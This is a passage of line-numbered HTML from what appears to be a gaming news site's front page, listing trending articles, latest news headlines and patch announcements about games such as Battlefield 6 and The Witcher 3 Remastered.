548w, 300px" /></a><div class='featured-post-text'><a href='https://mp1st.com/features/halo-under-activisions-banner-might-just-what-franchise-needs'>Halo Under Activision&#8217;s Banner Might Just be What the Franchise Needs</a></div></div><div class="featured-post-small"><a href='https://mp1st.com/news/report-injustice-3-leak-reveals-new-and-returning-characters-for-roster'><img width="300" height="169" src="https://mp1st.com/wp-content/uploads/2026/09/ij3-300x169.png" class="attachment-medium size-medium wp-post-image" alt="" decoding="async" srcset="https://mp1st.com/wp-content/uploads/2026/09/ij3-300x169.png 300w, https://mp1st.com/wp-content/uploads/2026/09/ij3-600x338.png 600w, https://mp1st.com/wp-content/uploads/2026/09/ij3-768x432.png 768w, https://mp1st.com/wp-content/uploads/2026/09/ij3-1536x864.png 1536w, https://mp1st.com/wp-content/uploads/2026/09/ij3.png 1920w" sizes="(max-width: 300px) 100vw, 300px" /></a><div class='featured-post-text'><a href='https://mp1st.com/news/report-injustice-3-leak-reveals-new-and-returning-characters-for-roster'>Report: Injustice 3 Leak Reveals New and Returning Characters for Roster</a></div></div><div class="featured-post-small"><a href='https://mp1st.com/news/report-media-molecule-new-game-release-2027-first-info-leaks'><img width="300" height="169" src="https://mp1st.com/wp-content/uploads/2026/09/media-molecule-1-300x169.png" class="attachment-medium size-medium wp-post-image" alt="" decoding="async" srcset="https://mp1st.com/wp-content/uploads/2026/09/media-molecule-1-300x169.png 300w, https://mp1st.com/wp-content/uploads/2026/09/media-molecule-1-600x338.png 600w, https://mp1st.com/wp-content/uploads/2026/09/media-molecule-1-768x432.png 768w, https://mp1st.com/wp-content/uploads/2026/09/media-molecule-1-1536x864.png 1536w, https://mp1st.com/wp-content/uploads/2026/09/media-molecule-1.png 1920w" sizes="(max-width: 300px) 100vw, 300px" /></a><div class='featured-post-text'><a href='https://mp1st.com/news/report-media-molecule-new-game-release-2027-first-info-leaks'>Report: Media Molecule New Game Set to Be Revealed in 2027; Will Feature Social-Simulation Aspects</a></div></div><div class="featured-post-small"><a href='https://mp1st.com/reviews/the-witcher-3-remastered-review-toss-those-coins-cd-projekt-red'><img width="300" height="169" src="https://mp1st.com/wp-content/uploads/2026/09/the-witcher-3-remastered-screenshot1-300x169.jpg" class="attachment-medium size-medium wp-post-image" alt="" decoding="async" srcset="https://mp1st.com/wp-content/uploads/2026/09/the-witcher-3-remastered-screenshot1-300x169.jpg 300w, https://mp1st.com/wp-content/uploads/2026/09/the-witcher-3-remastered-screenshot1-600x338.jpg 600w, https://mp1st.com/wp-content/uploads/2026/09/the-witcher-3-remastered-screenshot1-768x432.jpg 768w, https://mp1st.com/wp-content/uploads/2026/09/the-witcher-3-remastered-screenshot1-1536x864.jpg 1536w, https://mp1st.com/wp-content/uploads/2026/09/the-witcher-3-remastered-screenshot1.jpg 1920w" sizes="(max-width: 300px) 100vw, 300px" /></a><div class='featured-post-text'><a href='https://mp1st.com/reviews/the-witcher-3-remastered-review-toss-those-coins-cd-projekt-red'>The Witcher 3 Remastered Review &#8211; Toss Those Coins to CD Projekt Red</a></div></div></div></div>
549    <div class="frontpage-news-container">
550
551		<div class="popular-posts">
552			<h3 class="kevin-news-title"><strong class="kevin-highlight" style="color: #e43d1e;">TRENDING </strong>ARTICLES</h3>
553			<div class="line"></div>
554			<ul><li><div class="popular-posts-details"><a href="https://mp1st.com/news/new-uncharted-game-development-naughty-dog-headed-lost-legacy-director" class="post-title">Report: New Uncharted Game in Development at Naughty Dog; Headed by Lost Legacy Director</a></div></li><li><div class="popular-posts-details"><a href="https://mp1st.com/news/resident-evil-dev-confirms-more-remakes-are-incoming-preparing-for-when-remakes-catch-up-to-numbered-titles" class="post-title">Resident Evil Dev Confirms More Remakes Are Incoming; Preparing for When Remakes Catch Up to Numbered Titles</a></div></li><li><div class="popular-posts-details"><a href="https://mp1st.com/news/warhammer-40k-fps-the-walking-dead-colony-sim-lost-boys-concept-art-screens-surface" class="post-title">Report: Warhammer 40K FPS, The Walking Dead Colony Sim Pitched by Lost Boys Interactive; Concept Art and Screens Surface</a></div></li><li><div class="popular-posts-details"><a href="https://mp1st.com/news/naughty-dog-boss-confirms-multiple-the-last-of-us-projects-works-intergalactic-full-reveal-2027" class="post-title">Naughty Dog Boss Confirms Multiple The Last of Us Projects in the Works; Intergalactic Full Reveal in 2027</a></div></li><li><div class="popular-posts-details"><a href="https://mp1st.com/news/fallout-76-servers-down-on-october-1-deliver-update" class="post-title">Fallout 76 Servers Down on October 1 Deliver an Update</a></div></li><li><div class="popular-posts-details"><a href="https://mp1st.com/news/wardogs-wd-l018-error-code-hits-players-after-patch-0-1-2-but-theres-a-fix" class="post-title">Wardogs WD-L018 Error Code Hits Players After Patch 0.1.2, But There&#039;s a Fix</a></div></li><li><div class="popular-posts-details"><a href="https://mp1st.com/news/nintendo-switch-og-switch-2-system-update-23-0-1-released-october-1" class="post-title">Nintendo Switch OG, Switch 2 System Update 23.0.1 Released on October 1</a></div></li></ul>		</div>
555
556
557
558        <div class="kevin-news-section">
559            <div class="kevin-news-header">
560                <h3 class="kevin-news-title">LATEST <strong class="kevin-highlight" style="color: #e43d1e;">NEWS</strong></h3>
561                <div class="line"></div>
562            </div>
563
564            <div class="kevin-news-list" id="kevin-latest-news">
565                                <article class="kevin-news-item">
566                                            <div class="kevin-news-image">
567                            <a href="https://mp1st.com/news/battlefield-6-season-5-combat-updates-outlined-dice-promises-more-support-in-2027">
568                                <img width="300" height="169" src="https://mp1st.com/wp-content/uploads/2026/10/battlefield-6-season-5-300x169.png" class="attachment-medium size-medium wp-post-image" alt="Battlefield 6 Season 5 Combat Updates Outlined, DICE Promises More Support in 2027" decoding="async" srcset="https://mp1st.com/wp-content/uploads/2026/10/battlefield-6-season-5-300x169.png 300w, https://mp1st.com/wp-content/uploads/2026/10/battlefield-6-season-5-600x338.png 600w, https://mp1st.com/wp-content/uploads/2026/10/battlefield-6-season-5-768x432.png 768w, https://mp1st.com/wp-content/uploads/2026/10/battlefield-6-season-5-1536x864.png 1536w, https://mp1st.com/wp-content/uploads/2026/10/battlefield-6-season-5.png 2048w" sizes="(max-width: 300px) 100v
568w, 300px" />                            </a>
569                        </div>
570                                        <div class="kevin-news-content">
571                        <h2 class="kevin-news-heading"><a href="https://mp1st.com/news/battlefield-6-season-5-combat-updates-outlined-dice-promises-more-support-in-2027">Battlefield 6 Season 5 Combat Updates Outlined, DICE Promises More Support in 2027</a></h2>
572                        <div class="kevin-news-meta">
573                            <span class="kevin-news-date">
574                                <i class="fas fa-clock"></i> 49 minutes ago                            </span> 
575                            <span class="kevin-news-comments">
576                                <i class="fas fa-comments"></i> 0                            </span>
577                        </div><br>
578                        
579                    </div>
580                </article>
581                                <article class="kevin-news-item">
582                                            <div class="kevin-news-image">
583                            <a href="https://mp1st.com/previews/age-twisters-hands-on-preview-co-op-for-all-ages">
584                                <img width="300" height="169" src="https://mp1st.com/wp-content/uploads/2026/09/age-twisters-gamescom-preview-01-300x169.jpg" class="attachment-medium size-medium wp-post-image" alt="" decoding="async" srcset="https://mp1st.com/wp-content/uploads/2026/09/age-twisters-gamescom-preview-01-300x169.jpg 300w, https://mp1st.com/wp-content/uploads/2026/09/age-twisters-gamescom-preview-01-600x338.jpg 600w, https://mp1st.com/wp-content/uploads/2026/09/age-twisters-gamescom-preview-01-768x432.jpg 768w, https://mp1st.com/wp-content/uploads/2026/09/age-twisters-gamescom-preview-01-1536x864.jpg 1536w, https://mp1st.com/wp-content/uploads/2026/09/age-twisters-gamescom-preview-01.jpg 1920w" sizes="(max-width: 300px) 100vw, 300px" />                            </a>
585                        </div>
586                                        <div class="kevin-news-content">
587                        <h2 class="kevin-news-heading"><a href="https://mp1st.com/previews/age-twisters-hands-on-preview-co-op-for-all-ages">Age Twisters Hands-on Preview &#8211; Co-op for All Ages</a></h2>
588                        <div class="kevin-news-meta">
589                            <span class="kevin-news-date">
590                                <i class="fas fa-clock"></i> 1 hour ago                            </span> 
591                            <span class="kevin-news-comments">
592                                <i class="fas fa-comments"></i> 0                            </span>
593                        </div><br>
594                        
595                    </div>
596                </article>
597                                <article class="kevin-news-item">
598                                            <div class="kevin-news-image">
599                            <a href="https://mp1st.com/news/ps5-system-update-26-06-14-10-00-rolled-out-on-october-1">
600                                <img width="300" height="169" src="https://mp1st.com/wp-content/uploads/2025/10/PS5-Update-October-1-300x169.jpg" class="attachment-medium size-medium wp-post-image" alt="PS5 System Update 26.06-14.10.00" decoding="async" srcset="https://mp1st.com/wp-content/uploads/2025/10/PS5-Update-October-1-300x169.jpg 300w, https://mp1st.com/wp-content/uploads/2025/10/PS5-Update-October-1-600x338.jpg 600w, https://mp1st.com/wp-content/uploads/2025/10/PS5-Update-October-1-768x432.jpg 768w, https://mp1st.com/wp-content/uploads/2025/10/PS5-Update-October-1-1536x864.jpg 1536w, https://mp1st.com/wp-content/uploads/2025/10/PS5-Update-October-1.jpg 1920w" sizes="(max-width: 300px) 100vw, 300px" />                            </a>
601                        </div>
602                                        <div class="kevin-news-content">
603                        <h2 class="kevin-news-heading"><a href="https://mp1st.com/news/ps5-system-update-26-06-14-10-00-rolled-out-on-october-1">PS5 System Update 26.06-14.10.00 Rolled Out on October 1</a></h2>
604                        <div class="kevin-news-meta">
605                            <span class="kevin-news-date">
606                                <i class="fas fa-clock"></i> 2 hours ago                            </span> 
607                            <span class="kevin-news-comments">
608                                <i class="fas fa-comments"></i> 0                            </span>
609                        </div><br>
610                        
611                    </div>
612                </article>
613                                <article class="kevin-news-item">
614                                            <div class="kevin-news-image">
615                            <a href="https://mp1st.com/news/warhammer-40k-fps-the-walking-dead-colony-sim-lost-boys-concept-art-screens-surface">
616                                <img width="300" height="169" src="https://mp1st.com/wp-content/uploads/2026/09/lbiwhtwd-300x169.png" class="attachment-medium size-medium wp-post-image" alt="Warhammer fps" decoding="async" srcset="https://mp1st.com/wp-content/uploads/2026/09/lbiwhtwd-300x169.png 300w, https://mp1st.com/wp-content/uploads/2026/09/lbiwhtwd-600x338.png 600w, https://mp1st.com/wp-content/uploads/2026/09/lbiwhtwd-768x432.png 768w, https://mp1st.com/wp-content/uploads/2026/09/lbiwhtwd-1536x864.png 1536w, https://mp1st.com/wp-content/uploads/2026/09/lbiwhtwd.png 1920w" sizes="(max-width: 300px) 100vw, 300px" />                            </a>
617                        </div>
618                                        <div class="kevin-news-content">
619                        <h2 class="kevin-news-heading"><a href="https://mp1st.com/news/warhammer-40k-fps-the-walking-dead-colony-sim-lost-boys-concept-art-screens-surface">Report: Warhammer 40K FPS, The Walking Dead Colony Sim Pitched by Lost Boys Interactive; Concept Art and Screens Surface</a></h2>
620                        <div class="kevin-news-meta">
621                            <span class="kevin-news-date">
622                                <i class="fas fa-clock"></i> 8 hours ago                            </span> 
623                            <span class="kevin-news-comments">
624                                <i class="fas fa-comments"></i> 0                            </span>
625                        </div><br>
626                        
627                    </div>
628                </article>
629                                <article class="kevin-news-item">
630                                            <div class="kevin-news-image">
631                            <a href="https://mp1st.com/news/fallout-76-servers-down-on-october-1-deliver-update">
632                                <img width="300" height="169" src="https://mp1st.com/wp-content/uploads/2026/03/Fallout-76_-The-Backwoods-Developer-Preview-0-57-screenshot-300x169.png" class="attachment-medium size-medium wp-post-image" alt="Fallout 76 Servers Down on October 1" decoding="async" srcset="https://mp1st.com/wp-content/uploads/2026/03/Fallout-76_-The-Backwoods-Developer-Preview-0-57-screenshot-300x169.png 300w, https://mp1st.com/wp-content/uploads/2026/03/Fallout-76_-The-Backwoods-Developer-Preview-0-57-screenshot-600x338.png 600w, https://mp1st.com/wp-content/uploads/2026/03/Fallout-76_-The-Backwoods-Developer-Preview-0-57-screenshot-768x432.png 768w, https://mp1st.com/wp-content/uploads/2026/03/Fallout-76_-The-Backwoods-Developer-Preview-0-57-screenshot-1536x864.png 1536w, https://mp1st.com/wp-content/uploads/2026/03/Fallout-76_-The-Backwoods-Developer-Preview-0-57-screenshot-2048x1152.png 2048w" sizes="(max-width: 300px) 100vw, 300px" />                            </a>
633                        </div>
634                                        <div class="kevin-news-content">
635                        <h2 class="kevin-news-heading"><a href="https://mp1st.com/news/fallout-76-servers-down-on-october-1-deliver-update">Fallout 76 Servers Down on October 1 Deliver an Update</a></h2>
636                        <div class="kevin-news-meta">
637                            <span class="kevin-news-date">
638                                <i class="fas fa-clock"></i> 12 hours ago                            </span> 
639                            <span class="kevin-news-comments">
640                                <i class="fas fa-comments"></i> 0                            </span>
641                        </div><br>
642                        
643                    </div>
644                </article>
645                                <article class="kevin-news-item">
646                                            <div class="kevin-news-image">
647                            <a href="https://mp1st.com/news/wardogs-wd-l018-error-code-hits-players-after-patch-0-1-2-but-theres-a-fix">
648                                <img width="300" height="169" src="https://mp1st.com/wp-content/uploads/2026/10/wardogs-error-code-300x169.jpg" class="attachment-medium size-medium wp-post-image" alt="Wardogs WD-L018 Error Code" decoding="async" srcset="https://mp1st.com/wp-content/uploads/2026/10/wardogs-error-code-300x169.jpg 300w, https://mp1st.com/wp-content/uploads/2026/10/wardogs-error-code-600x338.jpg 600w, https://mp1st.com/wp-content/uploads/2026/10/wardogs-error-code-768x432.jpg 768w, https://mp1st.com/wp-content/uploads/2026/10/wardogs-error-code-1536x864.jpg 1536w, https://mp1st.com/wp-content/uploads/2026/10/wardogs-error-code.jpg 1920w" sizes="(max-width: 300px) 100vw, 300px" />                            </a>
649                        </div>
650                                        <div class="kevin-news-content">
651                        <h2 class="kevin-news-heading"><a href="https://mp1st.com/news/wardogs-wd-l018-error-code-hits-players-after-patch-0-1-2-but-theres-a-fix">Wardogs WD-L018 Error Code Hits Players After Patch 0.1.2, But There&#8217;s a Fix</a></h2>
652                        <div class="kevin-news-meta">
653                            <span class="kevin-news-date">
654                                <i class="fas fa-clock"></i> 17 hours ago                            </span> 
655                            <span class="kevin-news-comments">
656                                <i class="fas fa-comments"></i> 0                            </span>
657                        </div><br>
658                        
659                    </div>
660                </article>
661                                <article class="kevin-news-item">
662                                            <div class="kevin-news-image">
663                            <a href="https://mp1st.com/news/the-division-2-servers-taken-down-october-1-apply-fixes">
664                                <img width="300" height="169" src="https://mp1st.com/wp-content/uploads/2026/08/The-Division-2_-Red-Horizon-Official-Launch-Trailer-0-21-screenshot-300x169.png" class="attachment-medium size-medium wp-post-image" alt="The Division 2 Servers Down october 1" decoding="async" srcset="https://mp1st.com/wp-content/uploads/2026/08/The-Division-2_-Red-Horizon-Official-Launch-Trailer-0-21-screenshot-300x169.png 300w, https://mp1st.com/wp-content/uploads/2026/08/The-Division-2_-Red-Horizon-Official-Launch-Trailer-0-21-screenshot-600x338.png 600w, https://mp1st.com/wp-content/uploads/2026/08/The-Division-2_-Red-Horizon-Official-Launch-Trailer-0-21-screenshot-768x432.png 768w, https://mp1st.com/wp-content/uploads/2026/08/The-Division-2_-Red-Horizon-Official-Launch-Trailer-0-21-screenshot-1536x864.png 1536w, https://mp1st.com/wp-content/uploads/2026/08/The-Division-2_-Red-Horizon-Official-Launch-Trailer-0-21-screenshot.png 1920w" sizes="(max-width: 300px) 100vw, 300px" />                            </a>
665                        </div>
666                                        <div class="kevin-news-content">
667                        <h2 class="kevin-news-heading"><a href="https://mp1st.com/news/the-division-2-servers-taken-down-october-1-apply-fixes">The Division 2 Servers Taken Down on October 1 to Apply Fixes</a></h2>
668                        <div class="kevin-news-meta">
669                            <span class="kevin-news-date">
670                                <i class="fas fa-clock"></i> 18 hours ago                            </span> 
671                            <span class="kevin-news-comments">
672                                <i class="fas fa-comments"></i> 0                            </span>
673                        </div><br>
674                        
675                    </div>
676                </article>
677                                <article class="kevin-news-item">
678                                            <div class="kevin-news-image">
679                            <a href="https://mp1st.com/news/nintendo-switch-og-switch-2-system-update-23-0-1-released-october-1">
680                                <img width="300" height="169" src="https://mp1st.com/wp-content/uploads/2023/10/Nintendo-Switch-Update-17.0.0-Released-for-October-10-300x169.jpg" class="attachment-medium size-medium wp-post-image" alt="Switch 2 System Update 23.0.1" decoding="async" srcset="https://mp1st.com/wp-content/uploads/2023/10/Nintendo-Switch-Update-17.0.0-Released-for-October-10-300x169.jpg 300w, https://mp1st.com/wp-content/uploads/2023/10/Nintendo-Switch-Update-17.0.0-Released-for-October-10-600x338.jpg 600w, https://mp1st.com/wp-content/uploads/2023/10/Nintendo-Switch-Update-17.0.0-Released-for-October-10-768x432.jpg 768w, https://mp1st.com/wp-content/uploads/2023/10/Nintendo-Switch-Update-17.0.0-Released-for-October-10-1536x864.jpg 1536w, https://mp1st.com/wp-content/uploads/2023/10/Nintendo-Switch-Update-17.0.0-Released-for-October-10.jpg 1920w" sizes="(max-width: 300px) 100v
680w, 300px" />                            </a>
681                        </div>
682                                        <div class="kevin-news-content">
683                        <h2 class="kevin-news-heading"><a href="https://mp1st.com/news/nintendo-switch-og-switch-2-system-update-23-0-1-released-october-1">Nintendo Switch OG, Switch 2 System Update 23.0.1 Released on October 1</a></h2>
684                        <div class="kevin-news-meta">
685                            <span class="kevin-news-date">
686                                <i class="fas fa-clock"></i> 20 hours ago                            </span> 
687                            <span class="kevin-news-comments">
688                                <i class="fas fa-comments"></i> 0                            </span>
689                        </div><br>
690                        
691                    </div>
692                </article>
693                                <article class="kevin-news-item">
694                                            <div class="kevin-news-image">
695                            <a href="https://mp1st.com/news/gunnar-optiks-expands-eyewear-protection-with-new-ojai-vision-recovery-system">
696                                <img width="300" height="169" src="https://mp1st.com/wp-content/uploads/2026/09/GUNNAR-Optiks-Ojai-Vision-Recovery-System-1-300x169.jpg" class="attachment-medium size-medium wp-post-image" alt="" decoding="async" srcset="https://mp1st.com/wp-content/uploads/2026/09/GUNNAR-Optiks-Ojai-Vision-Recovery-System-1-300x169.jpg 300w, https://mp1st.com/wp-content/uploads/2026/09/GUNNAR-Optiks-Ojai-Vision-Recovery-System-1-600x338.jpg 600w, https://mp1st.com/wp-content/uploads/2026/09/GUNNAR-Optiks-Ojai-Vision-Recovery-System-1-768x432.jpg 768w, https://mp1st.com/wp-content/uploads/2026/09/GUNNAR-Optiks-Ojai-Vision-Recovery-System-1-1536x864.jpg 1536w, https://mp1st.com/wp-content/uploads/2026/09/GUNNAR-Optiks-Ojai-Vision-Recovery-System-1-2048x1152.jpg 2048w" sizes="(max-width: 300px) 100vw, 300px" />                            </a>
697                        </div>
698                                        <div class="kevin-news-content">
699                        <h2 class="kevin-news-heading"><a href="https://mp1st.com/news/gunnar-optiks-expands-eyewear-protection-with-new-ojai-vision-recovery-system">GUNNAR Optiks Expands Eyewear Protection With New Ojai Vision Recovery System</a></h2>
700                        <div class="kevin-news-meta">
701                            <span class="kevin-news-date">
702                                <i class="fas fa-clock"></i> 1 day ago                            </span> 
703                            <span class="kevin-news-comments">
704                                <i class="fas fa-comments"></i> 0                            </span>
705                        </div><br>
706                        
707                    </div>
708                </article>
709                                <article class="kevin-news-item">
710                                            <div class="kevin-news-image">
711                            <a href="https://mp1st.com/news/the-witcher-3-remastered-pc-performance-issues-relating-hairworks-identified-cdpr">
712                                <img width="300" height="169" src="https://mp1st.com/wp-content/uploads/2026/09/Witcher-Comparison-1-300x169.jpg" class="attachment-medium size-medium wp-post-image" alt="The Witcher 3 hairworks issue" decoding="async" srcset="https://mp1st.com/wp-content/uploads/2026/09/Witcher-Comparison-1-300x169.jpg 300w, https://mp1st.com/wp-content/uploads/2026/09/Witcher-Comparison-1-600x338.jpg 600w, https://mp1st.com/wp-content/uploads/2026/09/Witcher-Comparison-1-768x432.jpg 768w, https://mp1st.com/wp-content/uploads/2026/09/Witcher-Comparison-1-1536x864.jpg 1536w, https://mp1st.com/wp-content/uploads/2026/09/Witcher-Comparison-1-2048x1152.jpg 2048w" sizes="(max-width: 300px) 100vw, 300px" />                            </a>
713                        </div>
714                                        <div class="kevin-news-content">
715                        <h2 class="kevin-news-heading"><a href="https://mp1st.com/news/the-witcher-3-remastered-pc-performance-issues-relating-hairworks-identified-cdpr">The Witcher 3 Remastered PC Performance Issues Relating to Hairworks Identified by CDPR</a></h2>
716                        <div class="kevin-news-meta">
717                            <span class="kevin-news-date">
718                                <i class="fas fa-clock"></i> 1 day ago                            </span> 
719                            <span class="kevin-news-comments">
720                                <i class="fas fa-comments"></i> 0                            </span>
721                        </div><br>
722                        
723                    </div>
724                </article>
725                                <article class="kevin-news-item">
726                                            <div class="kevin-news-image">
727                            <a href="https://mp1st.com/news/new-uncharted-game-development-naughty-dog-headed-lost-legacy-director">
728                                <img width="300" height="169" src="https://mp1st.com/wp-content/uploads/2026/09/UNCHARTED4.01_1920-x-1080-300x169.png" class="attachment-medium size-medium wp-post-image" alt="New Uncharted" decoding="async" srcset="https://mp1st.com/wp-content/uploads/2026/09/UNCHARTED4.01_1920-x-1080-300x169.png 300w, https://mp1st.com/wp-content/uploads/2026/09/UNCHARTED4.01_1920-x-1080-600x338.png 600w, https://mp1st.com/wp-content/uploads/2026/09/UNCHARTED4.01_1920-x-1080-768x432.png 768w, https://mp1st.com/wp-content/uploads/2026/09/UNCHARTED4.01_1920-x-1080-1536x864.png 1536w, https://mp1st.com/wp-content/uploads/2026/09/UNCHARTED4.01_1920-x-1080.png 1920w" sizes="(max-width: 300px) 100vw, 300px" />                            </a>
729                        </div>
730                                        <div class="kevin-news-content">
731                        <h2 class="kevin-news-heading"><a href="https://mp1st.com/news/new-uncharted-game-development-naughty-dog-headed-lost-legacy-director">Report: New Uncharted Game in Development at Naughty Dog; Headed by Lost Legacy Director</a></h2>
732                        <div class="kevin-news-meta">
733                            <span class="kevin-news-date">
734                                <i class="fas fa-clock"></i> 1 day ago                            </span> 
735                            <span class="kevin-news-comments">
736                                <i class="fas fa-comments"></i> 9                            </span>
737                        </div><br>
738                        
739                    </div>
740                </article>
741                                <article class="kevin-news-item">
742                                            <div class="kevin-news-image">
743                            <a href="https://mp1st.com/news/resident-evil-dev-confirms-more-remakes-are-incoming-preparing-for-when-remakes-catch-up-to-numbered-titles">
744                                <img width="300" height="169" src="https://mp1st.com/wp-content/uploads/2026/09/resident-evil-5-and-re6-300x169.png" class="attachment-medium size-medium wp-post-image" alt="" decoding="async" srcset="https://mp1st.com/wp-content/uploads/2026/09/resident-evil-5-and-re6-300x169.png 300w, https://mp1st.com/wp-content/uploads/2026/09/resident-evil-5-and-re6-600x338.png 600w, https://mp1st.com/wp-content/uploads/2026/09/resident-evil-5-and-re6-768x432.png 768w, https://mp1st.com/wp-content/uploads/2026/09/resident-evil-5-and-re6-1536x864.png 1536w, https://mp1st.com/wp-content/uploads/2026/09/resident-evil-5-and-re6.png 1920w" sizes="(max-width: 300px) 100vw, 300px" />                            </a>
745                        </div>
746                                        <div class="kevin-news-content">
747                        <h2 class="kevin-news-heading"><a href="https://mp1st.com/news/resident-evil-dev-confirms-more-remakes-are-incoming-preparing-for-when-remakes-catch-up-to-numbered-titles">Resident Evil Dev Confirms More Remakes Are Incoming; Preparing for When Remakes Catch Up to Numbered Titles</a></h2>
748                        <div class="kevin-news-meta">
749                            <span class="kevin-news-date">
750                                <i class="fas fa-clock"></i> 1 day ago                            </span> 
751                            <span class="kevin-news-comments">
752                                <i class="fas fa-comments"></i> 1                            </span>
753                        </div><br>
754                        
755                    </div>
756                </article>
757                                <article class="kevin-news-item">
758                                            <div class="kevin-news-image">
759                            <a href="https://mp1st.com/news/xbox-not-for-sale-says-ceo-promises-whatever-it-takes-to-set-division-up">
760                                <img width="300" height="169" src="https://mp1st.com/wp-content/uploads/2026/02/asha-sharma-300x169.jpg" class="attachment-medium size-medium wp-post-image" alt="xbox not for sale" decoding="async" srcset="https://mp1st.com/wp-content/uploads/2026/02/asha-sharma-300x169.jpg 300w, https://mp1st.com/wp-content/uploads/2026/02/asha-sharma-600x338.jpg 600w, https://mp1st.com/wp-content/uploads/2026/02/asha-sharma-768x432.jpg 768w, https://mp1st.com/wp-content/uploads/2026/02/asha-sharma-1536x864.jpg 1536w, https://mp1st.com/wp-content/uploads/2026/02/asha-sharma.jpg 1920w" sizes="(max-width: 300px) 100v
760w, 300px" />                            </a>
761                        </div>
762                                        <div class="kevin-news-content">
763                        <h2 class="kevin-news-heading"><a href="https://mp1st.com/news/xbox-not-for-sale-says-ceo-promises-whatever-it-takes-to-set-division-up">Xbox &#8220;Not for Sale&#8221; Says CEO, Promises to Do &#8220;Whatever It Takes&#8221; to Set Division Up for Success</a></h2>
764                        <div class="kevin-news-meta">
765                            <span class="kevin-news-date">
766                                <i class="fas fa-clock"></i> 1 day ago                            </span> 
767                            <span class="kevin-news-comments">
768                                <i class="fas fa-comments"></i> 1                            </span>
769                        </div><br>
770                        
771                    </div>
772                </article>
773                                <article class="kevin-news-item">
774                                            <div class="kevin-news-image">
775                            <a href="https://mp1st.com/news/naughty-dog-boss-confirms-multiple-the-last-of-us-projects-works-intergalactic-full-reveal-2027">
776                                <img width="300" height="169" src="https://mp1st.com/wp-content/uploads/2023/11/The-Last-of-Us-Part-2-Remastered-4-300x169.jpg" class="attachment-medium size-medium wp-post-image" alt="new the last of us project" decoding="async" srcset="https://mp1st.com/wp-content/uploads/2023/11/The-Last-of-Us-Part-2-Remastered-4-300x169.jpg 300w, https://mp1st.com/wp-content/uploads/2023/11/The-Last-of-Us-Part-2-Remastered-4-600x338.jpg 600w, https://mp1st.com/wp-content/uploads/2023/11/The-Last-of-Us-Part-2-Remastered-4-768x432.jpg 768w, https://mp1st.com/wp-content/uploads/2023/11/The-Last-of-Us-Part-2-Remastered-4-1536x864.jpg 1536w, https://mp1st.com/wp-content/uploads/2023/11/The-Last-of-Us-Part-2-Remastered-4-2048x1152.jpg 2048w" sizes="(max-width: 300px) 100vw, 300px" />                            </a>
777                        </div>
778                                        <div class="kevin-news-content">
779                        <h2 class="kevin-news-heading"><a href="https://mp1st.com/news/naughty-dog-boss-confirms-multiple-the-last-of-us-projects-works-intergalactic-full-reveal-2027">Naughty Dog Boss Confirms Multiple The Last of Us Projects in the Works; Intergalactic Full Reveal in 2027</a></h2>
780                        <div class="kevin-news-meta">
781                            <span class="kevin-news-date">
782                                <i class="fas fa-clock"></i> 1 day ago                            </span> 
783                            <span class="kevin-news-comments">
784                                <i class="fas fa-comments"></i> 0                            </span>
785                        </div><br>
786                        
787                    </div>
788                </article>
789                                <article class="kevin-news-item">
790                                            <div class="kevin-news-image">
791                            <a href="https://mp1st.com/news/gta-6-activities-weather-system-info-surfaces-expect-over-170-animal-species">
792                                <img width="300" height="169" src="https://mp1st.com/wp-content/uploads/2026/08/gta-6-img2-300x169.jpg" class="attachment-medium size-medium wp-post-image" alt="GTA 6 Activities" decoding="async" srcset="https://mp1st.com/wp-content/uploads/2026/08/gta-6-img2-300x169.jpg 300w, https://mp1st.com/wp-content/uploads/2026/08/gta-6-img2-600x338.jpg 600w, https://mp1st.com/wp-content/uploads/2026/08/gta-6-img2-768x432.jpg 768w, https://mp1st.com/wp-content/uploads/2026/08/gta-6-img2-1536x864.jpg 1536w, https://mp1st.com/wp-content/uploads/2026/08/gta-6-img2-2048x1152.jpg 2048w" sizes="(max-width: 300px) 100vw, 300px" />                            </a>
793                        </div>
794                                        <div class="kevin-news-content">
795                        <h2 class="kevin-news-heading"><a href="https://mp1st.com/news/gta-6-activities-weather-system-info-surfaces-expect-over-170-animal-species">GTA 6 Activities, Weather System Info Surfaces; Expect Over 170 Animal Species</a></h2>
796                        <div class="kevin-news-meta">
797                            <span class="kevin-news-date">
798                                <i class="fas fa-clock"></i> 2 days ago                            </span> 
799                            <span class="kevin-news-comments">
800                                <i class="fas fa-comments"></i> 0                            </span>
801                        </div><br>
802                        
803                    </div>
804                </article>
805                <div class="kevin-pagination"><button id="kevin-btn-next" data-page="2">Next »</button></div>            </div>
806        </div>
807    </div>
808 
809
810    <div class="kevin-patch-section">
811        <div class="kevin-patch-header">
812            <h3 class="kevin-patch-title">LATEST <strong class="kevin-highlight" style="color: #e43d1e;">PATCHES</strong></h3>
813            <div class="line"></div>
814        </div>
815
816        <div class="kevin-patch-list" id="kevin-latest-patches">
817            <!-- AJAX-loaded content will be inserted here -->
818                                <article class="kevin-patch-item">
819                        <div class="kevin-patch-content">
820							<h2 class="kevin-patch-heading"><a href="https://mp1st.com/news/ps5-system-update-26-06-14-10-00-rolled-out-on-october-1">PS5 System Update 26.06-14.10.00 Rolled Out on October 1</a></h2>
821                            <div class="kevin-patch-meta">
822                                <span class="kevin-patch-date">
823                                    <i class="fas fa-clock"></i> 2 hours ago                                </span>
824                                <span class="kevin-patch-comments">
825                                    <i class="fas fa-comments"></i> 0                                </span>
826                            </div><br>
827                            
828                        </div>
829                    </article>
830                                        <article class="kevin-patch-item">
831                        <div class="kevin-patch-content">
832							<h2 class="kevin-patch-heading"><a href="https://mp1st.com/title-updates-and-patches/beast-of-reincarnation-update-1-011-adds-new-difficulty-modes-october-1">Beast of Reincarnation Update 1.011 Adds New Difficulty Modes on October 1</a></h2>
833                            <div class="kevin-patch-meta">
834                                <span class="kevin-patch-date">
835                                    <i class="fas fa-clock"></i> 7 hours ago                                </span>
836                                <span class="kevin-patch-comments">
837                                    <i class="fas fa-comments"></i> 0                                </span>
838                            </div><br>
839                            
840                        </div>
841                    </article>
842                                        <article class="kevin-patch-item">
843                        <div class="kevin-patch-content">
844							<h2 class="kevin-patch-heading"><a href="https://mp1st.com/title-updates-and-patches/the-witcher-3-remastered-update-5-00c-out-pc-october-1">The Witcher 3 Remastered Update 5.00c Out on PC on October 1</a></h2>
845                            <div class="kevin-patch-meta">
846                                <span class="kevin-patch-date">
847                                    <i class="fas fa-clock"></i> 9 hours ago                                </span>
848                                <span class="kevin-patch-comments">
849                                    <i class="fas fa-comments"></i> 0                                </span>
850                            </div><br>
851                            
852                        </div>
853                    </article>
854                                        <article class="kevin-patch-item">
855                        <div class="kevin-patch-content">
